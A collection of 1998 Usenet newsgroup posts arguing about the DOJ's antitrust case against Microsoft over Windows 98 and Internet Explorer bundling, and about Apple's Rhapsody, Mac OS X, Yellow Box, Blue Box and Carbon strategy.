> there was clear evidence to wrong doing. Why are most Microsoft critics
> bypassing the simple, clear violations for the vague "big one". If you don't
> have the proof, you can't legitamately make a case.
MS is a rascally beast. They quickly unravel the simple, clear ones and so
little if any action comes. In the mean time, the damage has been done. MS
reminds me a lot of Michael Keatons character in Pacific Heights. There
seems to be this constant stepping back and forth across the legal lines,
but never long enough and publicly enough for anything to result. The big
one is the only one that MS will likely have to totally address.
> > MS's defense thus far has been public opinion.
>
> Sorry, I disagree. Microsoft has been mostly defending itself in the courts.
> They also have been winning (which hurts them in the public relations
> department). Although I agree Microsoft has begun fighting in the public
> arena. But it would be stretching things to say Microsoft started the war
> on public opinion. The war was well underway when Senator Hatch held his
> commitee hearings.
By default anything that happens with Congress automatically gets a public
tone to it, it's all public record. But MS isn't addressing Hatch, rather
they seem to be countering with 'but all these people say...' which seems
rather childish to me. MS's defense in the courts has been quite good, but
the things that really hurt them are the 'to hell with Janet Reno' quality
comments. There's almost no turning back from that point - their position
wrt to the DOJ was made all too clear: 'We're above the law'.
> > If you can't use it to charge MS, then you
> > can't use it to bail them out either. An anti-trust should be a piece of
> > cake to demonstrate (relatively speaking), though long and protracted due
> > to the magnitude of the issue.
>
> Bring it on. I think you may be surprised how hard this "piece of cake" will
> be, but it is probably time to bring the question to a resolution.
I don't think it is hard if they can stay on point and clear - there is
little doubt in the minds of most people in and out of the industry that
MS is about as close to a model monopoly as we've had since AT&T. But
anti-trust is protracted and ugly and as a result will be quite hard.
> > I still don't see the difference if MS simply saves the OEM the effort. If
> > the OEM doesn't want to include IE, what product should they order?
>
> Hard to give up on the case, isn't it?
I see your position, and agree with it but I think the magnitude of what
MS is doing is seriously underestimated. Clearly a point is trying to be
made here which is leading to anti-trust, yet MS isn't getting it and
aren't backing down. While it's MS's position to do that, the ultimate
outcome is beginning to be clear and so MS now begins to take an air of
the bully that takes that one last punch even when his victim is clearly
helpless.
> As much
> as you (and the DOJ) wants to extend that to Windows98, it just is not
> supported by Contract Law. The DOJ has given up and gone for the anti-trust
> route. If you wish to keep arguing it, I will gladly respond. Do you think
> Windows98 is also in violation of the Consent Decree?
Actually, I don't think it applies to 98, rather to 95/IE4 bundling. The
action on which I somehow lost track of. While I do see 98 as no different
than a renamed 95/IE4, it has yet to be demonstrated that is the case.
There are other nastiness in 98 that should be addressed but only can be
by anti-trust since they are technologies that originated in the OS.
Perhaps I do think that 98 should be covered by the consent decree, I
don't know, but that would only address a small subset of the issues I see
with 98 so I think they should go after the whole thing with anti-trust.
> What about all the
> other "separate products" in Windows9x? Are they in violation too? Doesn't
> the fact that Microsoft sells MSDOS separately, make it a separate product?
> Once you get past the separate install (and separate license), the line
> gets very blurry, very quickly.
Since 95 as it shipped in 95 seems to be clear from Consent issues, we can
only look at the additions since then and I'm not aware of any other
separate products beside IE. 98 is a different matter and the additions to
98 are blurry along the separate/integration lines. What isn't blurry is
the anti-competitive results of their presence, and why I think 98 is best
addressed by anti-trust.
It seems that Texas AG might be giving into Dell and Compaq. How anyone
can buy that a delay of Win98 would be economically disasterous when no
harm has ever come from MS's own delays is beyond me... Who the hell cares
who delays it, the effects should be the same.
> <snip>
> >It was a cheap move.
>
> But that does not make it illegal.
But it will cost them ultimately, I think. MS should have seen the Consent
suit as a graceful out before an anti-trust battle.
> <snip>
> > > Now we have different coloring. Who was pushing whom? IE4.0 was a
> > > natural progression from IE1.0, IE2.0 and IE3.0.
> >
> > But the so called 'integration' was not. MS should have left IE 4 as an
> > end-user or OEM optional install. The 'integration' was really nothing
> > more than a tactic to get around the issue.
>
> Even the DOJ admitted that Microsoft intended for "O'hare" to be included
> into "Chicago" in 1994. IE4.0 was not the first "integrated" Internet
> Explorer. IE 3.0 was integrated into OEM releases.
Oops, see below.
> This I know from
> personal experience. I have heard IE 1.0 and IE 2.0 were also integrated
> into some OEM releases. I could try to find evidence of that. If it
> was true, would that change your position?
No, since that would still leave a non-integrated release. I don't see a
problem with MS saving the OEM some effort, so long as the OEM can still
opt out of some or all components. MS seems to suggest that nobody would
ever want to do that, so why provide the option.
> <snip>
> > Conceding that the IE3 requirement was wrong and then coming back with IE4
> > in the manner that they did was 'pushing'. As if the courts specifically
> > told them they couldn't require Internet Explorer installations, so MS
> > goes and renames the product Internet Examiner. It was pushing...
>
> I am not sure you have the facts straight here. Microsoft NEVER integrated
> IE 4.0 into Windows95.
Really? Boy I did get mixed up somewhere.
> It was IE 3.0. Windows98 contains IE 4.0. The only
> thing Microsoft "changed" after the suit was filed was to allow OEMs to
> remove the icon via the DOJ/MS stipulation. Microsoft was responding to
> DOJ attacks. It was not "pushing".
Then you are correct.
> > I don't think they used it only to garner support. But while they were
> > there, they might as well start to educate people before the anti-trust
> > comes.
>
> This is where we really, really disagree. NO WAY. TABOO. NO EXCUSE.
> The DOJ has NO BUSIESS using the court system to advance a political
> agenda PERIOD.
Yet MS will do this, and given the already flawed nature of the process,
the DOJ would face a much tougher battle. Typically I'd agree with you,
but the situation with MS has gone WAY too far already to let it go any
further.
> <snip>
> > I think MS should fight the good fight. But MS sometimes goes further.
>
> Like when they win?
No, like 'to hell with Janet Reno'. Like requiring licensees to report to
MS what they will testify to when subpoenaed.
> Seriously. In the Contempt Case, where did Microsoft cross the line?
> I can give you several specific DOJ actions that crossed the line. Can
> you give me one for Microsoft?
Steve Ballmer.
> > I don't like that one bit. I think MS should be struggling to get permission
> > to release Win98. I think that should be denied until they divorce the
> > browser from the OS.
>
> Please provide the legal argument for your statement.
Anti-trust.
> Until Microsoft is proven to be a monopoly, there is no justification for
> this kind of government intervention. The DOJ should have started the
> anti-trust case a long time ago.
Based on what? Based on a product that doesn't exist, that won't exist
officially until this Friday. I don't think they have a choice but to
wait.
> > As it stands, MS may still lose this fight and much
> > more. It might be in their best interests to roll over now. Yield the
> > battle in the interest of the war, and all that. I belive that the DOJ
> > will go after much more than Win98 right now.
>
> This is extortion. It is right up there with Senator Hatch's not-so-veiled
> threat of introducing industry regulation if Microsoft is not stopped.
I don't want to see regulation anywhere, but if that is the only course of
action left, I might almost agree with it by now.
> > I think it was the 'to hell with Janet Reno' line, politically,
>
> Did I miss that one. Please, please provide a link to this gem.
> If you were speaking in generalities, could you be more specific?
I'm on the 14.4 connection again. I'll try and find it tomorrow when I
have a T3 to play with.
> <snip>
> > The 'attacks'
> > by the DOJ seem to be based in the courts, where MS's often seem to often
> > be from Ballmers mouth and soap boxes in New York. I'm not sure what the
> > legal value in that is, to be honest.
> >
>
> The DOJ is losing in the courts. The DOJ is rallying states to support
> them. There is some interesting mutual support between the DOJ and
> Senator Hatch. It is strictly against DOJ policy to release ANYTHING to
> the press about an on going case (accept through official press releases and
> court briefs). Have you noticed how much information we are getting from
> "informed DOJ sources". We even know a big anti-trust case is going to be
> filed Thursday. Please, don't try to tell me the DOJ is only letting their
> court submissions do their talking.
Fair enough.
> It is a lot of reading, but it will give you insight as to who is
> effectively using the court system.
Clearly MS is using it more effectively, they are still winning. Not sure
how things will work out under anti-trust should it be filed, however. MS
will have a tough time demonstrating that they are not a monopoly as they
seem to fit the definition far better than almost anyone has in a very
long time.
-Bob Cassidy
Subject: Re: Apple Dumps Display Postscript in Rhapsody
Newsgroups: comp.sys.next.advocacy
References: <_La61.80$5g3.847607@news.rdc1.sfba.home.com> <6jbn80$eua$7@news.idiom.com>
In-Reply-To: <6jbn80$eua$7@news.idiom.com>
From: akira@home.com
Message-ID: <CXu61.6$Mi1.81154@news.rdc1.sfba.home.com>
Date: Thu, 14 May 1998 05:04:34 GMT
NNTP-Posting-Date: Wed, 13 May 1998 22:04:34 PDT
Organization: @Home Network
On 05/12/98, John C. Randolph wrote:
> akira@home.com may or may not have said:
>-> Howdy folks,
>->
>-> Since everyone is freaking out about Rhapsody being dead and all, I
guess
>-> this might be a moot point, but why not just throw more oil in the fire.
>->
>-> Today (Tuesday) at the Yellowbox Appkit meeting, the Apple people
>announced
>-> that they would be getting rid of DPS.
>
>AAARRRRGGGGHHH!!
My thoughts, but a little less explicit.
>-> Well, not quite, but close enough. What they said is that they will be
>-> keeping the DPS imaging model, but will/may be getting rid of the
>-> Postscript language layer.
>
>Well, if it's a *maybe*, then we need to raise the hue and cry just like we
>did over the attempt to bugger the syntax of Objective-C.
Everything I am hearing is that pswrap will disappear. Getting rid of the
language layer is being done, from everything I can tell or have heard, to
reduce the licensing costs for YB/NT.
-d
From: simpson@nospam.cts.com (Michael Simpson)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Why not Carbon/Intel?
Date: Wed, 13 May 1998 19:49:01 GMT
Organization: QUALCOMM, Incorporated; San Diego, CA, USA
Message-ID: <3559f907.97714936@news>
References: <8EEF451.09B60071D7.uuout@relaynet.org> <3558DAD3.8B137708@milestonerdl.com>
On Tue, 12 May 1998 18:27:15 -0500, M Rassbach <mark@milestonerdl.com>
wrote:
>The biggest 'problem' that I saw for Apple was that supporting OpenSTEP
>(YellowBOX) on Intel/HP-UX/Solaris/MacOS was that Intel/HP-UX/Solaris wasn't
>MacOS hardware.
>
>So MacOS will stay in it's 'protected Niche state' by not being cross-platform.
>
>The statement of Apple's "YellowBox is the Future of MacOS" may have truth, but
>at the cost of cross-platform.
Yellow box is cross platform, the Mac API is and won't be.
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
From: phenix@interpath.com (John Moreno)
Message-ID: <1d8z5bs.9jvmqjg19qcpN@roxboro0-057.dyn.interpath.net>
References: <B17C8D50-7E886@206.165.43.134> <35573831.69E8CDC6@milestonerdl.com> <rex-1105981539090001@192.168.0.3> <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <B17CAD54-99FF@206.165.43.2> <ericb-1105981902130001@132.236.171.104> <3557A1DE.17A6@earthlink.net> <bPZ51.1916$sy4.3331778@news.rdc1.sdca.home.com> <35586023.305658D1@milestonerdl.com> <ry_51.1921$sy4.3355491@news.rdc1.sdca.home.com> <35586AD9.C2C2FFB0@milestonerdl.com> <see-below-1205981903320001@209.24.240.213> <3559033D.89CD88D5@milestonerdl.com> <see-below-1205982047140001@209.24.240.213>
Organization: phenix@interpath.com
?'D1cB]L9V=\OS(\8S,5
Mail-Copies-To: never
Date: Wed, 13 May 1998 19:58:16 GMT
NNTP-Posting-Date: Wed, 13 May 1998 12:58:16 PDT
In comp.sys.mac.programmer.misc Matthew Vaughan wrote:
> mark@milestonerdl.com wrote:
>
> > I believe at one time, "the future of MacOS" was how apple DID position
> > YellowBox.
>
> Yes, that's true. But it didn't seem to convince anyone (at least the
> developers, who are the ones who need convincing). If they can now keep
> fundamentally the same Mac APIs and still gain the benefits of the new
> system, I don't see them being any more likely to adopt it.
>
> In other words, I just don't see how realistic it would be to position it
> as a Mac API replacement any time soon.
Developers are likely to start switching to it as soon as it becomes
available to the consumers. As soon as there are machines for it to be
a valid API it's likely to get used and used extensively - but until
that time, developers are probably going to take a more "wait and see"
attitude because of the past of dropped technologies.
It is, I understand, a better API - easier to use and more powerful.
But that has to be weighed against learning a whole new API and then not
being able to ship for it because the parts aren't all there.
--
John Moreno
Message-ID: <355A8F10.1D5858B4@unet.univie.ac.at>
Date: Thu, 14 May 1998 08:28:33 +0200
From: Christian Benesch <a9226931@unet.univie.ac.at>
MIME-Version: 1.0
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: rhapsody dr2 for intel??!??!??!
References: <6jdlds$o2o$2@newsfep4.sprintmail.com>
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Clearly, and understandably, Apple prefers their own platform, so I wouldn't have
expected them to release the Intel version BEFORE the PPC port.
The delay of some weeks does in no way mean they are scraping it, as some have
suggested in this newsgroup.
Regarding the BlueBox:
There won't be a BlueBox for Rhapsody/Intel, and frankly, I don't think we need
it.
Christian Benesch
macghod@concentric.net wrote:
> I am slightly upset that dr2 for intel was delayed by several weeks. Dr2 for
> intel was the easy part, as OS 4.2 was for intel. Plus, many have said that
> dr2 has been ready for the pc side for months, it was dr2 for ppc that was
> holding things up. The way I see it
> 1) dr2 for intel was ready a long time ago, so apple decide to put in a blue
> box for it in dr2 and that is why it will be late (this is good) OR
> 2) Apple wants to downplay dr2 for intel, because they want to kill it, since
> it could interfere with hardware sales. I bet two weeks from now, dr2 for
> intel WONT have a blue box, suggesting this is the reason it was late.
>
> --
> Running on Openstep 4.2, the best os in the world, and about to get better!
> Mac/openstep qa work desired, email me for resume
> NeXTMail and MIME OK!
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: This is more like it....information
Date: 13 May 1998 16:01:20 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6jcu6g$4oe$1@crib.bevc.blacksburg.va.us>
References: <3559973E.12D2EC2C@milestonerdl.com> <1d8yp5c.szkb0i1r0pkk0N@p068.intchg1.net.ubc.ca> <3559D3C6.EDED0057@milestonerdl.com>
In article <3559D3C6.EDED0057@milestonerdl.com>, mark@milestonerdl.com wrote:
> Except the macosrumors(?) bit that BSDUnix was not part of MacOS X.
> So the below graphic shows whats possible? What will be there? Or, what
> will ship?
My guess is that the diagram shows what will ship, and that the "BSD
Unix" part refers to the BSD kernel and such, but probably not all of
the standard Unix utils, which would reconcile the diagram with what
Rumors has said -- it depends on what you're calling "BSD".
From: freek@phil.uu.nl (Freek Wiedijk)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: OSX - What I See vs What I Want
Date: 14 May 1998 08:28:27 +0200
Organization: Department of Philosophy, Utrecht University, The Netherlands
Message-ID: <6je2ub$ju9$1@larry.admin.phil.uu.nl>
References: <35598540.E4C37882@milestonerdl.com> <B17F1E17-221E3@206.165.43.172> <3559CE7F.7207302C@milestonerdl.com> <6jcu11$4ng$1@crib.bevc.blacksburg.va.us>
Mime-Version: 1.0
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Nathan:
>If it's got the kernel and associated setup (like /etc),
>then it's Unix even if it doesn't ship with all the utils.
>(IMHO, of course.)
Hm. But things like /etc/rc* use the "utils" rather heavily,
no? That world is all one big shell script. So I'd expect
it's not that easy to get rid of "the utils" if you're going
to undress an existing Unix (or Unix-based) system. Which
Mach is.
Freek
Date: Thu, 14 May 1998 15:52:38 +0930
From: "timothyp@tne.net.au" <timothyp@tne.net.au>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
References: <ericb-1105981718430001@132.236.171.104>
<6j7t4a$v9r$1@crib.bevc.blacksburg.va.us>
<markeaton-1105982335100001@209.86.154.31>
<6j9eb8$197$1@crib.bevc.blacksburg.va.us>
<mcasse-2708561357200001@line8047.ras.ilstu.edu>
<6jbrd7$1cc$13@ironhorse.plsys.co.uk> <6jcjs4$6ns$1@msunews.cl.msu.edu>
<pulsar-ya02408000R1305981317320001@news-proxy.cso.uiuc.edu>
<djboccip-1305981350130001@qburst.msfc.nasa.gov>
Organization: Cybermarket Australia
Mime-version: 1.0
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Message-ID: <355a8c67.0@news.camtech.net.au>
In article <djboccip-1305981350130001@qburst.msfc.nasa.gov> ,
djboccip@hiwaay.net (Dennis J. Boccippio) wrote:
>In article <pulsar-ya02408000R1305981317320001@news-proxy.cso.uiuc.edu>,
>pulsar@springnet1.com (Pulsar) wrote:
>
>> In article <6jcjs4$6ns$1@msunews.cl.msu.edu>,
>> spammers@ruin.the.internet.channelu.com wrote:
>>
>>
>> The problem with the Blue Box relative to Carbon is that apps running in
>> the Blue Box see exactly the same environment as they saw in the Mac OS.
>> That is, they can merrily romp on each other's memory and greedily hog all
>> the processor time (that is all the processor time given to the Blue Box).
>>
>> In short, within the Blue Box, you have exactly the same environment as you
>> do with the Mac OS.
>>
>
>I don't mind the first part of this so much ... the problem with
> crashes in the last few system rev's is not that they've been
> "work-losing" crashes but that they've been "machine rebooting"
> crashes, which is the real killer. From what I've heard, restarting
> the Blue Box, while inconvenient, is nothing like restarting your
> entire Mac.
>
>The lack of PMT in the "invisible Blue Box" is more of a hassle,
> but a small price to pay for seamless legacy app compatibility...
Are you sure the "invisible Blue Box" (carbon blue box I assume) doesn't have
PMT? I thought that threads were cooperative but Applications would be
preemptive. Am I missing something?
Tim Priest
From: spammers@ruin.the.internet.channelu.com
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: 13 May 1998 20:16:49 GMT
Organization: Michigan State University
Message-ID: <6jcv3h$5nv$1@msunews.cl.msu.edu>
References: <6jbg4l$qi3$2@canopus.cc.umanitoba.ca> <6jcn9b$6ns$2@msunews.cl.msu.edu>
<3559DA0F.8F00D835@milestonerdl.com>
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Cc: mark@milestonerdl.com
In <3559DA0F.8F00D835@milestonerdl.com> M Rassbach wrote:
>
>
> spammers@ruin.the.internet.channelu.com wrote:
>
> > Get the message Adobe, Macromedia, etc. Start porting to YB now
> > you'll be much happier in the future with 95/NT/MacOS X and
possibly
> > others if YB gets ported to other systems. This is something
Apple
> > should
> > have hinted at if it's in the plans. Hell a Yellow Box for Linux
or
> > MkLinux
> > would shake everyone up really hard. It would demonstrate a lot
of
> > things.
> > And I also think this is the reason for MacOS X moving from DPS to
X.
> > So that YB can be ported to just about every unix under the sun w/o
> > having to
> > cough up to Adobe..
>
> Adobe has a cross-platform product for Windows. To get them on
YellowBox,
> you need to offer more.
Having one codebase to maintain isn't enough? I do understand your
point. My point is that I hope Tiffany slams the hell out of
Photoshop
on 95/NT maybe that'll wake up Adobe.
> More like OpenSTEP's Solaris/HP-UX under YellowBox and a newer market
of
> Linux. With newer markets, Adobe might make the jump.
I'm not sure about Sun and their OpenStep commitment. These markets
are
shrinking I think, but work has been done already it may be easy to
have
yellow box for these archs. Linux would be a nice addition I'm not
holding
my breath though.
> And Apple needs to formally commit to NT 5.x/Win98. Otherwise, Apple
might
> just pull a bait-n-switch
I agree - you like that phrase 'bait-n-switch'. What do you get saying
fast
5 times?? kinda sounds like bull-$%*& :) (That was a little joke, not
a jab - don't
take it that way)
> > I don't have PPC hardware but I would find it suprising that Apple
> > would
> > dump all the pre G3 drivers in MacOS X. It might be that they'll
> > upgrade Mach
> > to be fully 3.0 which might cause rewrites of some drivers. This
is
> > uncertian.
>
> Jobs said one thing, press kits another. Jobs could have had a slip
of the
> tounge, or the listeners didn't here him say optimized.
Check out this URL I picked up in advocacy.
http://www.macnn.com/reality/rhapsody.shtml
http://www.macnn.com/reality/archives/051198/news.shtml
I think things become a little clearer
macnn claims that MacOS X is the future lineage of MacOS (now we know
why it was named that way). Rhapsody they claim will continue as
a server solution. Interesting folks didn't get any of this at the
keynote.
Steve really didn't clear anything up there AFAIK.
Personally I'll probably stick with Rhapsody - the server vs. going
for the MacOS X. Though I'll happily take a look. Luckily with
Rhapsody1.0
coming this year I can continue to investigate on our 6month old P-Pros
till early next year when we will re-evaluate where to go with
hardware.
I'm not convinced that the prices on the G3 are in line with
performance
yet. When Rhapsody 1.0 comes out and I get a loner G3 I'll know
rather
quickly.
> > I would stand with you that Apple at least support the 603/604 PCI
> > MAC's
> > in MacOS X. If they play on giving YB on Mach for intel then there
is
> > no
> > reason not to. Geeze that makes me wonder if YB on Mach will die
also
> > and we'll be stuck with YB on 95/NT with the Mach version only for
PPC
> > when MacOS X comes out. I hope this isn't true. The more I
think
> > about
> > it the more I think this scenario might come about - force them to
PPC
> > says jobs - and we'll be the only PPC vendor. If they are even
> > thinking
> > of Merced though they better not dump Intel support, which might
make
> > it likely to support 603/604 PCI based Power Macs. It's a toss up
> > here.
>
> Or, that the only YellowBox development in the future will be MacOS
> Only.They did say "YellowBox is the future of the MacOS" No public
> statements on NT5/98.
Why would they do this? If Rhapsody is the future server you'd think
they would upgrade YB there too. I don't see anything that says MacOS
is going to become a server OS. But if Rhapsody as a server doesn't
sell then Apple might just have a reason to dump it and try to stick
with
MacOS (user/server)..
> > > 6. MacOS X will likely have most of it's UNIX services striped
out.
> > They
> > > will then either sell a version of MacOS X that has them added
back
> > in, as a
> > > server OS, or simply continue to ship Rhapsody including all the
UNIX
> > > services but minus Carbon and possibly the entire Blue Box as a
> > server OS.
> >
> > I sure as heck hope not, and can't see how this could be pulled
off.
> > Maybe they could but they will have to offer a bundle with them in.
> > This would be because the MacOS weenies bitched to hard about
> > having Unix underneath. Now wouldn't it be a change if the MacOS
> > folks started whining about having Unix services unbundled. It
would
> > serve you all right. I as a former NeXTian would miss them along
> > with the shell dearly. And it would be the last straw for me
probably
> > unless there were suitable replacements.
>
> So I'm not alone in wishing for Unix hooks in MacOS X, so that you
can have
> your POSIX with you....anyone able to get a quote on this from Apple?
They should have a optional bundle. I must say with the issue that
Rhapsody
and MacOS X being seperate products I have to wonder whether Apple is
setting us up to drop Rhapsody when they don't sell too many.. That
for
me will be a serious problem. Like I said though I'll probably stay
on for
another year and see how things pan out by then. If the performance
isn't
there on G3, and Rhapsody gets shelved in favor of a MacOS X
(user/server)
minus things I like, and with Intel support dropped (i.e. no YB on mach
for
Intel) then the heck with Apple.
And rest assured I'll be benchmarking the same codes under Linux, &
Rhapsody on Intel & G3. We'll see whether 2x holds up for some real
world fp heavy compute jobs. Until then I'll keep waiting as prices
drop
new interfaces and devices come on line and use what I have now.
I got tired of buying the latest greatest late last year. I've had
enough
of the bleeding edge for now. And I see the Select Dev program as a
good
value to see what Apple has in store for the next year. Too bad they
didn't continue to offer the discounts I may have purchased a G3
this year. Now I won't.
Randy
rencsok at
channelu dot com
argus dot cem dot msu dot edu
spammers works also :)
Randy Rencsok General UNIX, NeXTStep, IRIX Admining,
Turbo Software Consulting, Programming, etc.)
Date: Thu, 14 May 1998 15:49:53 +0930
From: "timothyp@tne.net.au" <timothyp@tne.net.au>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
References: <ericb-1105981718430001@132.236.171.104>
<slrn6lf0cs.ck3.mbkennel@lyapunov.ucsd.edu>
<macman-1105982047570001@tr33-d21.msen.net>
<3558705D.978C32E@spamtoNull.com> <6ja705$k4$4@news.idiom.com>
<3559EBA4.B8A2DB1A@spamtoNull.com>
Organization: Cybermarket Australia
Mime-version: 1.0
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Message-ID: <355a8bc2.0@news.camtech.net.au>
In article <3559EBA4.B8A2DB1A@spamtoNull.com> , Jonathan Harker
<Limeyville@spamtoNull.com> wrote:
>John C. Randolph wrote:
>
>>
>> Next didn't die, it took over Apple in one of the trickiest bits of
>> organizational manuvering that I've ever seen.
>
>
>On this we completely agree. I don't credit Jobs & company with it as
>much as I decry the stupidity of the Apple board who authorized payment.
>You are quite right to say that NeXT effectively took over Apple and
>Apple *paid* them to do it. All we can hope for is that the neo-NeXT
>will be far more savvy in producing products people want to buy than the
>old NeXT was in doing it.
>
>Like the "Rhapsody didn't die it just changed its name" school of
>thought, NeXT didn't die it just changed its name...:)
So? If it looks like a Mac (only better), quacks like a Mac (only faster and
without having fits and spurts), and doesn't drop duck droppings (like the Mac
does now), I could care less if Amiga had snuck up and been ported underneath.
In addition, if I get a development environment that is the best bar none, I
just got a big bonus.
Tim Priest
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: OSX - What I See vs What I Want
Date: 14 May 1998 04:35:49 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6jead6$694$1@crib.bevc.blacksburg.va.us>
References: <35598540.E4C37882@milestonerdl.com> <3559CE7F.7207302C@milestonerdl.com> <6jcu11$4ng$1@crib.bevc.blacksburg.va.us> <6je2ub$ju9$1@larry.admin.phil.uu.nl>
In article <6je2ub$ju9$1@larry.admin.phil.uu.nl>, freek@phil.uu.nl (Freek Wiedijk) wrote:
> Nathan:
> >If it's got the kernel and associated setup (like /etc),
> >then it's Unix even if it doesn't ship with all the utils.
> >(IMHO, of course.)
> Hm. But things like /etc/rc* use the "utils" rather heavily,
> no? That world is all one big shell script. So I'd expect
> it's not that easy to get rid of "the utils" if you're going
> to undress an existing Unix (or Unix-based) system. Which
> Mach is.
Exactly. Which is why I suspect that sinc MacOS X appears to have BSD
underpinnings, it will have a minimal /bin with it too. But I don't
think that the default OS X install will come with a full complement of
Unix utils, or man pages or any of that stuff -- just the minimum needed
for booting.
From: spagiola@my-dejanews.com
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Wed, 13 May 1998 20:24:28 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6jcvhs$70i$1@nnrp1.dejanews.com>
References: <ericb-1105981718430001@132.236.171.104> <6j7t4a$v9r$1@crib.bevc.blacksburg.va.us> <markeaton-1105982335100001@209.86.154.31> <6j9eb8$197$1@crib.bevc.blacksburg.va.us> <mcasse-2708561357200001@line8047.ras.ilstu.edu> <6jbrd7$1cc$13@ironhorse.plsys.co.uk> <6jcjs4$6ns$1@msunews.cl.msu.edu>
spammers@ruin.the.internet.channelu.com wrote:
> > MacOS X = Rhapsody + Carbon
>
> This is not a criticism but some musing thoughts..
> 1) I have written the same equation MacOS X = Rhapsody + Carbon
> But reading along today I wondered about something. Wasn't BlueBox
> in Rhapsody supposed to be fully MacOS (at least 8.x don't know about 7)
> compatible. I mean in the past I kept hearing that all those Mac apps
> would run w/o any modification on Rhapsody.. ...
> So now I wonder why Apple whips up Carbon. Clearly it is to reach
> out to the slew of MacOS developers and to try to get them to clean
> up their code. But was there something wrong with the above bluebox
> solution. ....
The Blue Box gave a way to run Mac apps under Rhapsody, but did not give them
any of the advantages provided by Rhapsody, such as protected memory and
pre-emptive multitasking. If a Mac app running inside the Blue Box crashed, it
could still bring down the entire Box, including any other Mac apps running
within it.
Carbon lets any Mac apps that have been "tuned" run outside the Blue Box, on
the same level as Yellow Box apps. Carbon apps would enjoy the advantages of
both protected memory and pre-emptive multitasking. So yes, Carbon is a
substantially better solution that Blue Box. The price, of course, is that you
have to re-write part of the app to make sure it conforms to Carbon; that
wasn't necessary for Mac apps to run under Blue Box.
Stefano Pagiola
spagiola@my-dejanews.com
My opinions alone
Longtime MacOS and NeXTSTEP user, reluctant Windows 95/NT user, future
Rhapsody user
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/ Now offering spam-free web-based newsreading
From: spagiola@my-dejanews.com
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X
Date: Wed, 13 May 1998 20:15:29 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6jcv10$674$1@nnrp1.dejanews.com>
References: <6j7roi$m57$1@nnrp1.dejanews.com> <slrn6lev9v.4k9.sal@panix3.panix.com> <rmcassid-1105981604220001@dante.eng.uci.edu> <slrn6lfjer.l9u.sal@panix3.panix.com> <rmcassid-1105982343080001@dialin33418.slip.uci.edu> <6j9one$h2q$1@sun27.hrz.tu-darmstadt.de> <6jchfe$1cc$20@ironhorse.plsys.co.uk>
To: malcolm@plsys.co.uk
mmalcolm crawford <malcolm@plsys.co.uk> wrote:
> > If I stuck myself with in the head with a pencil, would it hurt?
>
> Actually I think it was:
> "If I stick myself in the head with this pencil, will it hurt?"
> Yes, it will.
> :-)
>
> (long time NeXT users will understand this...)
Aaaah.... memories!
Stefano Pagiola
spagiola@my-dejanews.com
My opinions alone
Longtime MacOS and NeXTSTEP user, reluctant Windows 95/NT user, future
Rhapsody user
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/ Now offering spam-free web-based newsreading
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Lawson's impact?
Date: 13 May 1998 13:26:01 -0700
Organization: Primenet Services for the Internet
Message-ID: <B17F4FD6-DD27B@206.165.43.172>
References: <6jcogg$1cc$30@ironhorse.plsys.co.uk>
nntp://news.primenet.com/comp.sys.next.advocacy
MIME-Version: 1.0
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mmalcolm crawford <malcolm@plsys.co.uk> said:
>> The fact that the list of shape types can be extended? Try doing that
using
>> a structured API like MacOS toolbox calls and you'll get something like
>> QD3D's extension mechanism. Er, no thanks. I'll stick with the
>> non-extensible version until an OOP version is presented directly.
>>
>This sounds like an excellent reason for not sticking with GX.
Once something better is available, obviously. But GXFCN will work on any
color Mac with System 7.1 or better, GX installed, and enough memory.
What are the requirements for using the Yellow Box APIs?
>> Should it still be left in the dustbin or should it be dusted off and
>> integrated with Carbon and YB in some way?
>>
>Useful parts shoud be dusted off and integrated with Carbon and YB in some
>way. Mike Paquette's been telling you for months that this is what's
being
>done. Why do you keep pretending you've never heard this before?
Define "useful parts."
For me, the most useful parts of GX include the ability to save, display,
edit and print a high-end graphics image using the same high-level, easy to
use, API that is available for any Mac app. GX printing allowed one to do
this during the printing process.
Perhaps the availability of that will be announced tomorrow for YB and
Carbon apps.
But unless they're going to introduce an OOP graphics interface for Carbon
apps, you're still left with a GX-like API in Carbonite apps and no
provision for dynamic binding of objects, which would make it no better
than GX, and almost certainly less mature and feature-filled.
I'm betting that the Carbonite API won't offer anything approaching GX and
will merely be a procedural immediate-mode API. This is useless for
something like GXFCN, since I have no desire to add memory management,
object creation/destruction, etc, to a $10 shareware package, and HC 3.0
will likely provide most of these features using QTVG if you need
immediate-mode graphics and don't need advanced text-handling and other
advanced GX features.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: 13 May 1998 13:39:00 -0700
Organization: Primenet Services for the Internet
Message-ID: <B17F5307-E924E@206.165.43.172>
